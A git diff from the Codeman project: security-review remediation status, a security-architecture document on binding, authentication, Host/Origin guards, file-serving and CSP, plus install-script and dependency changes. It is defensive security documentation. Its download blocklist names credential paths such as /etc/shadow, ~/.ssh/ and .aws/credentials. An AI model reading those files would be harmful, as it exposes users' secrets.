+- **Same-uid "attacks"** (tmux socket input injection, `/proc/<pid>/environ`, tmux `showenv` key disclosure) were refuted as already inside the OS trust boundary — a same-user process can already do anything to its peers.
+
+---
+
+## Implementation status (2026-06-09)
+
+Priority fixes 1–3 + 5 landed in the same session (verified live with curl/ws against an isolated instance):
+
+- ✅ **C1** — `Host`-header allowlist (`registerHostGuard` in `middleware/auth.ts`, policy in `network-auth-policy.ts`). Allows loopback/any-IP-literal/bind-host/`.ts.net`/`.trycloudflare.com`/`.cfargotunnel.com`/active-tunnel/`CODEMAN_ALLOWED_HOSTS`; rejects rebound custom domains.
+- ✅ **C2** — global `text/plain` parser no longer JSON-parses (crash-diag self-parses); plus the global cross-site Origin guard.
+- ✅ **H1, H3, H6** — global Origin/CSRF guard on all non-GET routes (covers self-update, session create/input, settings/tunnel).
+- ✅ **H4** — escaped all AI-derived sinks in `panels-ui.js` (tool name, tool detail, toolUseId, displayText).
+- ✅ **H5** — Origin/Host check on the WebSocket upgrade (`ws-routes.ts`).
+- ⏳ **H2** — deferred: needs signed-tag infra (no maintainer key yet); `npm ci --ignore-scripts` would break node-pty's native build, so not applied blindly.
+- ⏳ **CSP `unsafe-inline` removal** — deferred: inline `onclick=` handlers are pervasive; needs a nonce migration (H4's sink-escaping already neutralizes the known XSS).
+
+Tests: `test/network-host-guard.test.ts` (19), `test/routes/ws-routes.test.ts` (22). Operational note: any custom reverse-proxy domain must be added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`.
+
+## Remediation priority
+
+1. **Add a `Host`-header allowlist** (`onRequest`, pre-routing). → kills C1, blunts H5/H6 rebinding. *Highest value, smallest change.*
+2. **Remove the global `text/plain` JSON parser + add a global same-origin/CSRF guard** on all non-GET routes. → kills C2, H1, H3, H6; blunts M7. Reuse the `paste-image` pattern globally.
+3. **Drop CSP `unsafe-inline` and `escapeHtml()` the subagent panel fields** (`panels-ui.js:808-811,1403`). → kills H4, closes L2/L3.
+4. **Add tag-signature/commit verification to the self-updater** + `npm ci --ignore-scripts`. → kills H2.
+5. **Validate Origin/Host on the WS upgrade** (`ws-routes.ts:62`). → kills H5.
+6. **Refuse to start a tunnel / non-loopback bind without a password** (or auto-generate one). → closes the operational HIGH + M4 + H6's precondition.
+7. Sweep the MEDIUMs: M1 (argv tmux sinks), M2 (hook secret), M5 (tail validator), M7 (push SSRF allowlist).
+
+*Generated by an automated adversarial multi-agent review (97 agents, ~4.8M tokens). Findings were independently verified but should be confirmed by a human before remediation; the live-confirmed exploits (C1, C2) are the highest-confidence items.*

docs/security-architecture.md

@@ -0,0 +1,445 @@
+# Security Architecture
+
+This document describes Codeman's security model: how it decides who may reach
+the web UI, how requests are authenticated, how the file-serving and tmux layers
+are hardened, and the recommended ways to expose an instance safely.
+
+Codeman spawns and drives Claude/OpenCode CLIs with
+`--dangerously-skip-permissions`. **Anyone who can reach an unauthenticated
+instance can run arbitrary commands as your user.** The defaults below are chosen
+so that a fresh install is safe on the machine it runs on, while remote access is
+an explicit, guided opt‑in.
+
+> TL;DR — Codeman binds **loopback only (`127.0.0.1`) by default**, so out of the
+> box it is reachable only from the same machine and needs no password. To reach
+> it from elsewhere, either put it behind an **authenticated tunnel**
+> (`tailscale serve` / `cloudflared`) **or** bind a wider host **and set
+> `CODEMAN_PASSWORD`**. If you bind a non‑loopback host with no password, Codeman
+> still starts but prints a **loud warning** telling you how to secure it.
+
+---
+
+## Contents
+
+1. [Network binding model](#1-network-binding-model)
+2. [Authentication](#2-authentication)
+3. [Request‑origin trust & the tunnel caveat](#3-requestorigin-trust--the-tunnel-caveat)
+4. [Recommended remote‑access setups](#4-recommended-remoteaccess-setups)
+5. [File‑serving hardening](#5-fileserving-hardening)
+6. [tmux launch hardening](#6-tmux-launch-hardening-cod31)
+7. [Supply‑chain & build‑asset hardening](#7-supplychain--buildasset-hardening-cod28)
+8. [Multi‑instance isolation](#8-multiinstance-isolation)
+9. [Transport security headers](#9-transport-security-headers)
+10. [Quick reference](#10-quick-reference)
+
+---
+
+## Trust model
+
+**The security boundary is the network bind plus authentication — not the code Codeman
+runs.** Because sessions launch with `--dangerously-skip-permissions`, the web UI is by
+design a remote‑code‑execution surface for whoever is allowed to reach it. Everything
+below exists to control *who* that is.
+
+| Actor | Reaches the UI when… | Is granted |
+|-------|----------------------|------------|
+| Same‑machine user | Always (default loopback bind) | Full session control — the intended local‑use case. |
+| Authenticated remote client | Tunnel/LAN reachability **and** a valid password or session cookie | Full session control. |
+| Unauthenticated remote client | Only if you bind a non‑loopback host with no password | Full session control — the exact case every default and warning works to prevent. |
+| Clients behind a loopback‑connecting tunnel | A reverse tunnel terminates on `127.0.0.1` | Inherit `req.ip = 127.0.0.1`, so they hit the localhost‑only exemptions (§3) unless a password is set. |
+
+**Explicitly out of scope.** Codeman is access control for the operator console, not a
+sandbox for the code that console runs. It does **not** defend against: a compromised
+local user account (loopback is trusted), malicious contents in a workspace you
+deliberately open, or the breadth of filesystem a session's `workingDir` is pointed at
+(§5).
+
+---
+
+## 1. Network binding model
+
+| Setting | Default | Source |
+|---------|---------|--------|
+| Bind host | `127.0.0.1` (loopback) | `--host` / `CODEMAN_HOST` → `WebServer` ctor |
+| Port | `3000` | `--port` / `CODEMAN_PORT` |
+| TLS | off (`--https` to enable) | `--https` |
+
+### Bind host classification
+
+`isLoopbackBindHost()` (`src/web/network-auth-policy.ts`) decides whether a bind
+host is loopback-only. It returns `true` for:
+
+- `localhost`
+- any IPv4 in `127.0.0.0/8` (e.g. `127.0.0.1`, `127.42.0.9`)
+- IPv6 loopback `::1` (bracketed `[::1]` and the long form `0:0:0:0:0:0:0:1`)
+- IPv4‑mapped loopback `::ffff:127.*`
+
+It returns `false` for `0.0.0.0`, `::` (all interfaces), LAN IPs, and hostnames.
+The classification is **fail‑safe in the dangerous direction**: any host that is
+not provably loopback is treated as non‑loopback (it never mistakes `0.0.0.0`
+for loopback). Shorthand forms like `127.1` or integer/octal IPs classify as
+non‑loopback (you'll get a warning, not a silent wide‑open bind) — use
+`127.0.0.1` for an unambiguous loopback bind.
+
+### Startup policy (the "warn, don't block" rule)
+
+At `WebServer.start()`:
+
+| Bind host | `CODEMAN_PASSWORD` | Behavior |
+|-----------|--------------------|----------|
+| loopback (default) | unset | **Start.** Safe — reachable only from this machine. |
+| loopback | set | **Start.** Auth required even locally. |
+| non‑loopback | set | **Start.** Auth protects the open bind. |
+| non‑loopback | unset | **Start + LOUD warning** listing how to secure it. |
+| non‑loopback | unset, `--allow-unauthenticated-network` | **Start + terse acknowledged note.** |
+
+> History: an earlier iteration (unreleased COD‑29) *refused to start* on a
+> non‑loopback bind without a password. That surprised setups that "just worked"
+> before, so **0.9.0 changed it to start‑and‑warn**. Loopback is still the safe
+> default; the warning (with three concrete fixes) replaces the hard failure.
+
+The warning points at three ways to secure the instance:
+
+1. `CODEMAN_PASSWORD=<password>` — turns on HTTP Basic auth (see §2).
+2. `--host 127.0.0.1` + an authenticated tunnel (`cloudflared` / `tailscale serve`).
+3. `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1`
+   — explicitly accept the risk (downgrades the warning to a one‑line note). This
+   flag is **only** an acknowledgement; it does not change reachability.
+
+`CODEMAN_API_URL` (used by hooks/child processes) is always derived as a loopback
+address (`0.0.0.0`/`localhost`/`::1` → `127.0.0.1`) so in‑process hooks reach the
+server over loopback regardless of the public bind.
+
+---
+
+## 2. Authentication
+
+Auth is **optional** and controlled by env vars captured at startup:
+
+- `CODEMAN_USERNAME` (default `admin` when only a password is set)
+- `CODEMAN_PASSWORD`
+
+When `CODEMAN_PASSWORD` is unset, no auth is enforced — which is why the default
+loopback bind matters. The auth pipeline (`src/web/middleware/auth.ts`,
+`onRequest` hook) runs in this order:
+
+1. **Localhost‑only exemptions** (always first): `POST /api/hook-event` and the QR
+   `/q/` short‑code path are exempt when `req.ip` is loopback (see §3).
+2. **Session cookie** check — a valid `codeman_session` cookie short‑circuits to
+   allow.
+3. **HTTP Basic** check — correct credentials short‑circuit to allow and clear
+   that IP's failure counter.
+4. **Rate‑limit gate** — if neither cookie nor credentials passed and the IP is
+   locked out, return `429` with a `Retry-After` header.
+5. Otherwise return `401`, incrementing the IP's failure counter.
+
+### Session cookies
+
+On successful Basic auth the server issues `codeman_session`, an opaque
+server‑side token (`randomBytes(32)`), valid 24h with auto‑extend and device
+context for the audit log. Tokens are **not** client‑signed — they're validated
+by presence in a server‑side map, so they cannot be forged offline.
+
+### Rate limiting / lockout recovery
+
+Failed auth is tracked **per IP**: 10 failures → `429`, with a 15‑minute decay.
+The QR path has its own separate limiter.
+
+The lockout check sits **after** the cookie/credential checks (step 4, not first).
+This is deliberate: a user with a **valid cookie or correct password recovers
+immediately** even while an attacker is hammering the same IP — important because
+all traffic through a tunnel shares one source IP (loopback). Wrong credentials
+are still counted and still hit the `429` at the threshold, so brute‑force
+protection is unchanged.
+
+---
+
+## 3. Request‑origin trust & the tunnel caveat
+
+`req.ip` is derived from the **TCP socket only** — Fastify runs with
+`trustProxy: false`, so `X-Forwarded-For` / `X-Real-IP` / `Forwarded` are
+**ignored**. A remote client cannot forge `req.ip` to `127.0.0.1`.
+
+**However**, a reverse tunnel that connects to the server over loopback (e.g.
+`cloudflared --url http://localhost:3000`) makes **every tunneled request arrive
+with `req.ip = 127.0.0.1`**. The localhost‑only exemptions then treat those
+requests as local:
+
+- `POST /api/hook-event` — auth‑exempt for loopback. Bounded impact: it is
+  `HookEventSchema`‑validated and requires a valid in‑memory `sessionId`; it can
+  drive respawn signals, SSE broadcasts, push notifications, and transcript
+  watching — **not** arbitrary terminal input or file reads. It is a
+  session‑disruption / notification‑spoofing surface, not RCE.
+- QR `/q/` — still protected by its own short‑code brute‑force limiter
+  (10 failures / 60s against a 62⁶ space).
+
+**Mitigation:** set `CODEMAN_PASSWORD` whenever a loopback‑connecting tunnel is
+up (it does not gate the hook‑event exemption, but it gates everything else and
+is the documented practice). Prefer `tailscale serve` (below), which authenticates
+at the tailnet layer so untrusted clients never reach the loopback port at all.
+
+### Host‑header & Origin allowlist (DNS‑rebinding & CSRF defense)
+
+Since **0.9.5** an **always‑on** `onRequest` hook (`registerHostGuard`,
+`src/web/middleware/auth.ts`; policy in `src/web/network-auth-policy.ts`) runs
+**before** the auth pipeline in §2 and guards **every** request — including the
+localhost‑only exemptions above, SSE, the WebSocket upgrade, and static files. It
+closes the browser‑driven RCE path (DNS rebinding plus a cross‑site `text/plain`
+`POST`) that the loopback‑no‑password default otherwise exposed to any site the
+operator merely visits.
+
+- **Host allowlist (anti‑DNS‑rebinding).** The `Host` header is validated on
+  **every** request, all methods. A custom domain rebound to `127.0.0.1` is
+  rejected with `403 Forbidden: host not allowed` before any handler runs. Allowed:
+  `localhost`; **any** IP literal (IPv4/IPv6 — a browser hitting a numeric address
+  can't be a rebinding victim); the bind host; the suffixes `.ts.net`,
+  `.trycloudflare.com`, `.cfargotunnel.com`; the hostname of the active
+  Codeman‑managed tunnel; and anything in `CODEMAN_ALLOWED_HOSTS`. A missing/empty
+  `Host` is rejected.
+- **Origin / CSRF guard.** On **state‑changing** methods (everything except
+  `GET`/`HEAD`/`OPTIONS`) the `Origin` header must also pass the same allowlist,
+  else `403 Forbidden: cross‑site request blocked`. A **missing `Origin` is
+  allowed** (so `curl`, the CLI, and Claude Code hooks keep working); only a
+  present‑but‑foreign origin — or the opaque `null` origin (sandboxed iframe) — is
+  rejected. This blocks the cross‑site CSRF that could previously create sessions,
+  trigger self‑update, or flip `tunnelEnabled`.
+- **Raw `text/plain` bodies.** The global `text/plain` content‑type parser no
+  longer JSON‑parses bodies — it hands handlers the raw string (`/api/crash-diag`
+  self‑parses its beacon payload). This removes the CORS "simple request" CSRF
+  vector, where a cross‑site `fetch` with `Content-Type: text/plain` smuggled a
+  JSON body into a write route with no preflight — defense‑in‑depth alongside the
+  Origin guard.
+- **WebSocket upgrades.** The terminal WS upgrade (`src/web/routes/ws-routes.ts`)
+  runs the **same** Host + Origin check and closes with code `4003` on failure
+  (anti‑CSWSH).
+
+The policy is rebuilt per request from
+`buildHostPolicy(bindHost, tunnelManager.getUrl())`, so starting or stopping a
+tunnel at runtime updates the allowlist with no restart.
+
+> **Reverse‑proxy operators:** a custom proxy domain (e.g. `codeman.example.com`)
+> is **not** in the default allowlist and gets `403 host not allowed`. Add it via
+> `CODEMAN_ALLOWED_HOSTS` — comma‑separated, case‑insensitive; an exact hostname
+> matches only itself, while a leading‑dot entry (`.corp.internal`) matches the
+> bare domain **and** all subdomains. Behaviour is covered by
+> `test/network-host-guard.test.ts`.
+
+---
+
+## 4. Recommended remote‑access setups
+
+Ordered most‑to‑least recommended:
+
+### A. Tailscale serve (recommended)
+
+Bind loopback, let Tailscale front it on your tailnet with a real cert:
+
+```bash
+codeman web --https            # binds 127.0.0.1:3000
+tailscale serve --bg https / http://127.0.0.1:3000
+```
+
+Only devices on your tailnet can reach it; Tailscale handles identity. No app
+password and no `0.0.0.0` bind required. (This is the maintainer's production
+setup.)
+
+### B. Authenticated cloudflared tunnel + password
+
+```bash
+export CODEMAN_PASSWORD=<password>
+codeman web --https
+cloudflared tunnel --url https://localhost:3000
+```
+
+Always set `CODEMAN_PASSWORD` here — the tunnel connects over loopback, so the
+hook‑event exemption (§3) would otherwise be reachable from the public URL.
+
+### C. Direct LAN bind + password
+
+```bash
+export CODEMAN_PASSWORD=<password>
+codeman web --https --host 0.0.0.0
+```
+
+Exposes the port on all interfaces; the password is the only thing protecting it.
+
+### Avoid
+
+`--host 0.0.0.0` **without** a password. Codeman will start (and warn), but
+anyone on the network can control your Claude sessions. Never re‑expose `0.0.0.0`
+without a password.
+
+---
+
+## 5. File‑serving hardening
+
+Three routes serve workspace files; all require a valid `sessionId` and run the
+shared path validator `validateSessionFilePath()` (`src/web/route-helpers.ts`):
+it `realpath`s the target **before** the boundary check and rejects anything that
+escapes the session working directory (`..`, absolute paths, and symlinks that
+resolve outside). The realpath‑before‑check ordering closes the validation‑time
+TOCTOU window.
+
+| Route | Cap | Notes |
+|-------|-----|-------|
+| `file-content` | 10 MB | text preview |
+| `file-raw` | 50 MB | inline MIME map; **`X-Content-Type-Options: nosniff` on all responses** |
+| `POST /api/download` | 50 MB | forced `attachment`; sensitive‑path blocklist |
+
+### SVG / content‑type XSS
+
+A workspace `.svg` served inline as `image/svg+xml` is a stored‑XSS vector (SVG
+can carry `<script>`, same‑origin = full session control). `file-raw` therefore
+serves `.svg` as `application/octet-stream` + `Content-Disposition: attachment` +
+`nosniff`. The control here is the **`octet-stream` + `attachment` + `nosniff`
+combination**, which forces a download instead of a render — not the CSP: the
+policy's `script-src` allows `'unsafe-inline'` (§9), so a same‑origin HTML
+document *would* be able to run inline scripts if the browser ever rendered it.
+By the same combination, other text types (`.html`, `.xml`, …) that fall through
+to `octet-stream` are downloaded, not executed. Trusted QR/welcome SVGs are
+injected from API JSON (`innerHTML`), not via `file-raw`, so they are unaffected.
+
+### Download sensitive‑path blocklist
+
+`/api/download` additionally refuses a blocklist of sensitive paths
+(`/etc/shadow`, `~/.ssh/`, `.env`, `*credentials*`, `.aws/credentials`, …). This
+is **defense‑in‑depth, not the primary boundary** — the realpath containment is
+the control.
+
+### Known limitation — `workingDir` scope
+
+The file‑route boundary is the session's `workingDir`, and `POST /api/sessions`
+currently accepts an arbitrary absolute `workingDir` (validated as "exists + is a
+directory"). A session created with `workingDir=/` can therefore read files
+across the filesystem within that boundary. This is **pre‑existing** across all
+file routes and not widened by the recent changes. Recommended follow‑up:
+constrain `workingDir` to an allowlist (e.g. under the cases dir / `$HOME`).
+
+---
+
+## 6. tmux launch hardening (COD‑31)
+
+New sessions and respawns launch the tmux server/pane from a stable `/tmp`
+(`TMUX_LAUNCH_CWD`) and then `cd` into the real workspace **inside** the pane,
+against the live mount table:
+
+```
+respawn-pane -k -c /tmp -t <session> bash -c "cd <workingDir> && <cmd>"
+```
+
+This avoids a class of failures on FUSE/rclone‑mounted workspaces where a
+transient mount blip at launch poisons tmux's long‑lived cwd and crashes
+`new-session`. Safety properties:
+
+- **Fail‑safe cwd:** the command is `cd "<dir>" && <cmd>` — if `cd` fails the CLI
+  does **not** run in `/tmp`; the pane dies with a visible error instead.
+- **No injection:** `workingDir` passes `isValidWorkingDir` (absolute, rejects
+  `;&|$\`(){}<>'"` and newlines and `..`) and `isValidPath`, and is double‑quoted
+  in the pane command. Paths with spaces work; metacharacters are rejected before
+  reaching the shell.
+- It does not change which tmux socket is targeted, so instance isolation (§8) is
+  preserved.
+
+---
+
+## 7. Supply‑chain & build‑asset hardening (COD‑28)
+
+- **Dependency advisories:** security‑sensitive ranges are bumped to patched
+  versions, and `overrides` force patched transitive deps (`picomatch`,
+  `basic-ftp`, `fast-uri`, `flatted`). `test/dependency-security.test.ts` asserts
+  these stay patched in the lockfile.
+- **Lockfile integrity:** `npm run check:lockfile` (CI on every push/PR) fails on
+  drift between `package.json` and `package-lock.json`. All lockfile entries
+  resolve to `registry.npmjs.org` with `sha512` integrity hashes.
+- **Public‑asset checker:** `npm run check:public-assets`
+  (`scripts/check-public-assets.mjs`) scans `src/web/public/**` for literal NUL
+  bytes and runs `node --check` on every `.js` file (syntax validation), plus a
+  Prettier pass on maintained files. It uses `execFileSync` with argv arrays (no
+  shell), so filenames/content cannot inject commands; `node --check` only parses,
+  never executes. Large hand‑formatted/generated assets (`app.js`, the gesture
+  bundle, vendored libs) are `.prettierignore`d for the style pass, but the NUL +
+  syntax checks still cover them.
+
+---
+
+## 8. Multi‑instance isolation
+
+The tmux socket (`tmux -L codeman[-<instance>]`) and data dir
+(`~/.codeman[-<instance>]`) are **process‑wide and shared by every Codeman on the
+machine**, derived from `CODEMAN_INSTANCE` (`src/config/instance.ts`). A second
+instance on the **same** socket discovers and attaches PTYs to the first
+instance's live sessions. To run instances side by side, give each a distinct
+`CODEMAN_INSTANCE` (scopes both dir + socket), or set `CODEMAN_TMUX_SOCKET` +
+`CODEMAN_DATA_DIR` individually. `CODEMAN_INSTANCE` defaults to empty = the
+production layout (`~/.codeman`, `-L codeman`, port 3000).
+
+---
+
+## 9. Transport security headers
+
+`registerSecurityHeaders` (`src/web/middleware/auth.ts`) applies on every response:
+
+- **`Content-Security-Policy`** — baseline `default-src 'self'`, with these
+  deliberate widenings (so the policy is tighter than "self only" but every
+  exception is enumerated and same‑origin‑first):
+  - `script-src` / `style-src` / `font-src` also allow `https://cdn.jsdelivr.net`
+    (CDN fallback for a few libraries). `script-src` and `style-src` additionally
+    allow `'unsafe-inline'` — relevant to the SVG/HTML handling in §5, where the
+    `octet-stream` + `nosniff` download (not the CSP) is what blocks execution.
+    Because `'unsafe-inline'` is still present (removing it needs a nonce
+    migration), AI‑derived strings rendered into the subagent/activity panels are
+    HTML‑escaped at the injection sites (`escapeHtml` in
+    `src/web/public/constants.js`; sinks in `panels-ui.js` / `subagent-windows.js`)
+    so a hostile tool name or argument can't execute — defense‑in‑depth from the
+    2026‑06‑09 review (H4).
+  - `connect-src` allows `wss://api.deepgram.com` (streaming voice input).
+  - `img-src` allows `data:` and `blob:` (inline / generated images, QR codes).
+  - `frame-ancestors 'self'`.
+  - **Gesture opt‑in (`CODEMAN_GESTURE=1`):** `script-src` gains
+    `'wasm-unsafe-eval'` and a `worker-src 'self' blob:` directive is added, for
+    self‑hosted MediaPipe. Its wasm runtime + model are same‑origin under
+    `/gesture/`, so no extra `connect-src` entry is needed. OFF by default, so the
+    production CSP is byte‑for‑byte unchanged.
+- **`X-Content-Type-Options: nosniff`** — blocks MIME sniffing (pairs with §5).
+- **`X-Frame-Options: SAMEORIGIN`** — clickjacking defense (mirrors
+  `frame-ancestors 'self'`).
+- **`Strict-Transport-Security: max-age=31536000; includeSubDomains`** — only when
+  served over HTTPS (`--https`).
+- **CORS** — `Access-Control-Allow-Origin` is reflected **only** for origins whose
+  hostname is `localhost` / `127.0.0.1` / `::1`; any other origin gets no CORS
+  headers. `OPTIONS` preflights are answered `204`.
+
+---
+
+## 10. Quick reference
+
+| Env / flag | Effect |
+|------------|--------|
+| `CODEMAN_PASSWORD` (+ `CODEMAN_USERNAME`) | Enable HTTP Basic auth |
+| `--host` / `CODEMAN_HOST` | Bind host (default `127.0.0.1`) |
+| `CODEMAN_ALLOWED_HOSTS` | Extra `Host`/`Origin` allowlist entries for reverse proxies (comma‑separated; exact host, or leading‑dot `.suffix` for subdomains) — see §3 |
+| `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK` | Acknowledge an unauthenticated non‑loopback bind (downgrades the warning) |
+| `--https` | Enable TLS (adds HSTS) |
+| `CODEMAN_INSTANCE` | Scope tmux socket + data dir for isolation |
+| `CODEMAN_GESTURE=1` | Make the gesture overlay available (widens CSP) |
+
+**Audit log:** session lifecycle and server start are recorded in
+`~/.codeman/session-lifecycle.jsonl`.
+
+### Key source files
+
+| Concern | File |
+|---------|------|
+| Bind‑host classification, env‑flag parsing, Host/Origin allowlist (`buildHostPolicy` / `isAllowedRequestHost` / `isAllowedRequestOrigin`) | `src/web/network-auth-policy.ts` |
+| Start‑and‑warn policy | `src/web/server.ts` (`WebServer.start()`) |
+| Auth pipeline, rate limiting, security headers, CORS, Host/Origin guard (`registerHostGuard`) | `src/web/middleware/auth.ts` |
+| File‑path containment (realpath‑before‑check) | `src/web/route-helpers.ts` (`validateSessionFilePath`) |
+| File routes, caps, SVG handling, download blocklist | `src/web/routes/file-routes.ts` |
+| Instance/socket/data‑dir scoping | `src/config/instance.ts` |
+
+---
+
+> **Maintenance note:** the behaviours above were verified against the source on
+> 2026‑06‑09. When you change auth, the bind policy, CSP/headers, or the file
+> routes, update this document in the same change — several sections quote exact
+> values (caps, CSP directives, TTLs) that drift silently otherwise.

install.sh

@@ -26,6 +26,13 @@ TARGET_NODE_VERSION="${CODEMAN_NODE_VERSION:-22}"
 NONINTERACTIVE="${CODEMAN_NONINTERACTIVE:-0}"
 SKIP_SYSTEMD="${CODEMAN_SKIP_SYSTEMD:-0}"
 
+# puppeteer is a devDependency used only by scripts/browser-comparison.mjs — its
+# ~150MB chrome-headless-shell download is never needed to build or run Codeman.
+# Skipping it avoids a slow download and a fatal install failure when a prior
+# download left a corrupt cache (folder present, executable missing). Respect an
+# explicit caller override so contributors can still fetch the browser if needed.
+export PUPPETEER_SKIP_DOWNLOAD="${PUPPETEER_SKIP_DOWNLOAD:-1}"
+
 # Claude CLI search paths (from src/utils/claude-cli-resolver.ts)
 CLAUDE_SEARCH_PATHS=(
     "$HOME/.local/bin/claude"
@@ -99,6 +106,20 @@ die() {
     exit 1
 }
 
+# Security notice — printed at the very end of install/update so it is the last
+# thing the user sees (the default loopback bind + how to expose it safely).
+print_security_notice() {
+    echo ""
+    echo -e "  ${YELLOW}${BOLD}Security:${NC}"
+    echo -e "    Codeman binds ${BOLD}127.0.0.1${NC} (this machine only) — no password needed by default."
+    echo -e "    To reach it from another device, do ONE of:"
+    echo -e "      ${CYAN}•${NC} tailscale serve / cloudflared tunnel   ${DIM}(recommended)${NC}, or"
+    echo -e "      ${CYAN}•${NC} ${CYAN}codeman web --host 0.0.0.0${NC}  AND set ${CYAN}CODEMAN_PASSWORD${NC}"
+    echo -e "    A non-loopback bind without a password still starts, but warns loudly."
+    echo -e "    ${DIM}Details: docs/security-architecture.md${NC}"
+    echo ""
+}
+
 # ============================================================================
 # Cleanup on Failure
 # ============================================================================
@@ -1363,6 +1384,10 @@ main() {
         echo ""
     fi
 
+    # Security notice — last informational block so it stays visible (when not
+    # auto-launching below; if we exec, the server prints the same notice anyway).
+    print_security_notice
+
     # Run now in foreground (must be last — exec replaces the shell)
     if [[ "$launch_choice" == "1" ]]; then
         local profile
@@ -1410,6 +1435,8 @@ update() {
         echo -e "    ${CYAN}pkill -f 'codeman.*web'; codeman web &${NC}"
     fi
     echo ""
+
+    print_security_notice
 }
 
 uninstall() {

package.json

@@ -1,6 +1,6 @@
 {
   "name": "aicodeman",
-  "version": "0.8.2",
+  "version": "0.9.7",
   "description": "The missing control plane for AI coding agents - run 20 autonomous agents with real-time monitoring and session persistence",
   "type": "module",
   "main": "dist/index.js",
@@ -11,6 +11,7 @@
   "scripts": {
     "postinstall": "node scripts/postinstall.js",
     "build": "node scripts/build.mjs",
+    "build:gesture": "node scripts/build-gesture-bundle.mjs",
     "start": "NODE_COMPILE_CACHE=${HOME}/.codeman/compile-cache node dist/index.js",
     "dev": "tsx src/index.ts web",
     "web": "node dist/index.js web",
@@ -21,8 +22,9 @@
     "typecheck": "tsc --noEmit",
     "lint": "eslint --config config/eslint.config.js 'src/**/*.ts'",
     "lint:fix": "eslint --config config/eslint.config.js 'src/**/*.ts' --fix",
-    "format": "prettier --write 'src/**/*.ts'",
-    "format:check": "prettier --check 'src/**/*.ts'",
+    "format": "prettier --write 'src/**/*.ts' 'src/web/public/**/*.{js,css,html,json}'",
+    "format:check": "prettier --check 'src/**/*.ts' 'src/web/public/**/*.{js,css,html,json}'",
+    "check:public-assets": "node scripts/check-public-assets.mjs",
     "capture:subagents": "node scripts/capture-subagent-screenshots.mjs",
     "changeset": "changeset",
     "version-packages": "changeset version && npm install --package-lock-only && node scripts/check-lockfile-sync.mjs",
@@ -53,7 +55,7 @@
     "@fastify/compress": "^8.3.1",
     "@fastify/cookie": "^11.0.2",
     "@fastify/multipart": "^10.0.0",
-    "@fastify/static": "^8.0.0",
+    "@fastify/static": "^9.1.3",
     "@fastify/websocket": "^11.2.0",
     "@xterm/addon-fit": "^0.11.0",
     "@xterm/addon-unicode11": "^0.9.0",
@@ -62,18 +64,18 @@
     "chalk": "^5.3.0",
     "chokidar": "^3.6.0",
     "commander": "^12.1.0",
-    "fastify": "^5.1.0",
+    "fastify": "^5.8.5",
     "node-pty": "^1.1.0",
     "qrcode": "^1.5.4",
-    "uuid": "^10.0.0",
+    "uuid": "^14.0.0",
     "web-push": "^3.6.7",
     "zod": "^4.3.6"
   },
   "devDependencies": {
     "@changesets/cli": "^2.29.8",
     "@eslint/js": "^9.0.0",
-    "@remotion/cli": "4.0.429",
-    "@remotion/transitions": "4.0.429",
+    "@remotion/cli": "4.0.473",
+    "@remotion/transitions": "4.0.473",
     "@types/node": "^20.19.33",
     "@types/pngjs": "^6.0.5",
     "@types/qrcode": "^1.5.6",
@@ -81,7 +83,7 @@
     "@types/uuid": "^10.0.0",
     "@types/web-push": "^3.6.4",
     "@types/ws": "^8.18.1",
-    "@vitest/coverage-v8": "^4.0.18",
+    "@vitest/coverage-v8": "^4.1.8",
     "agent-browser": "^0.6.0",
     "esbuild": "^0.27.3",
     "eslint": "^9.0.0",
@@ -90,16 +92,30 @@
     "pngjs": "^7.0.0",
     "prettier": "^3.4.0",
     "puppeteer": "^24.36.0",
-    "remotion": "4.0.429",
+    "remotion": "4.0.473",
     "tsx": "^4.15.0",
     "typescript": "^5.9.3",
     "typescript-eslint": "^8.0.0",
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "optionalDependencies": {
     "@remotion/compositor-linux-x64-gnu": "^4.0.432",
     "@rspack/binding-linux-x64-gnu": "^1.7.7"
   },
+  "overrides": {
+    "basic-ftp": "^5.3.1",
+    "fast-uri": "^3.1.2",
+    "flatted": "^3.4.2",
+    "anymatch": {
+      "picomatch": "^2.3.2"
+    },
+    "micromatch": {
+      "picomatch": "^2.3.2"
+    },
+    "readdirp": {
+      "picomatch": "^2.3.2"
+    }
+  },
   "engines": {
     "node": ">=18.0.0"
   },

packages/gesture-control/.gitignore

@@ -0,0 +1,6 @@
+node_modules
+dist
+dist-codeman/
+*.local
+.vite
+.DS_Store

packages/gesture-control/README.md

@@ -0,0 +1,258 @@
+# gesture-proto
+
+A Jarvis-style hand-tracking input layer for the Codeman dashboard. Your webcam
+sees your hands; you pinch-drag session tabs between columns. Runs entirely
+in-browser — **the camera feed never leaves the machine.**
+
+> **This build is pinch-drag only.** The discrete gesture commands (halt-all /
+> approve / new-session) were built in Phase 4 but are **intentionally not wired
+> up** — an open palm while reaching to pinch kept charging the hold-to-halt. The
+> `GestureController` core still emits `command`/`haltProgress` for any future
+> consumer; the demo just no longer listens.
+
+This is a standalone prototype (own folder, fake tabs) so the input *feel* can
+be validated on real hardware before integrating with Codeman. The canonical
+spec is **[`docs/BUILD_PLAN.md`](./docs/BUILD_PLAN.md)** — read it before
+continuing the build.
+
+---
+
+## Status: Phase 0–4 complete
+
+| Phase | What | State |
+|-------|------|-------|
+| 0 | Vite+TS scaffold, mirrored webcam preview, start button | ✅ done |
+| 1 | MediaPipe `GestureRecognizer` (VIDEO mode, CDN model+wasm), rAF loop, debug skeleton overlay, HUD | ✅ done |
+| — | **Checkpoint: ≥25fps on real camera/lighting** | ✅ 60fps (iPhone 17 Pro / Continuity Camera) |
+| 2 | One-Euro–filtered cursor + pinch detection (hysteresis) | ✅ done |
+| 3 | Drag fake tabs across 3 columns (state machine) — go/no-go | ✅ done (two-handed) |
+| 4 | Discrete gesture→command bus (👍 approve · ✌️ new-session · ✋-hold halt-all) + toast | ✅ built, ⛔ **unwired in the demo** (pinch-only) |
+| 5 | Integrate `gesture/` into real Codeman (`src/codeman/entry.ts`) | ✅ **working at the desk** — see [Codeman integration](#codeman-integration) |
+
+Also done beyond the original plan: **two-hand tracking** (drag two tabs at
+once) and a **live camera picker** (front-facing iPhone 17 Pro by default; the
+superwide / Desk View camera now works too — see the camera note below).
+
+Also: **fullscreen mode** (toggle button — the board fills the display, so grab
+targets get big).
+
+**Phase 5 is live** in the real Codeman dashboard. The Codeman-side detach +
+instance isolation + base gesture overlay are committed on `Ark0N/Codeman`
+branch `beta/session-detach` (open as **PR #103**) — including this session's
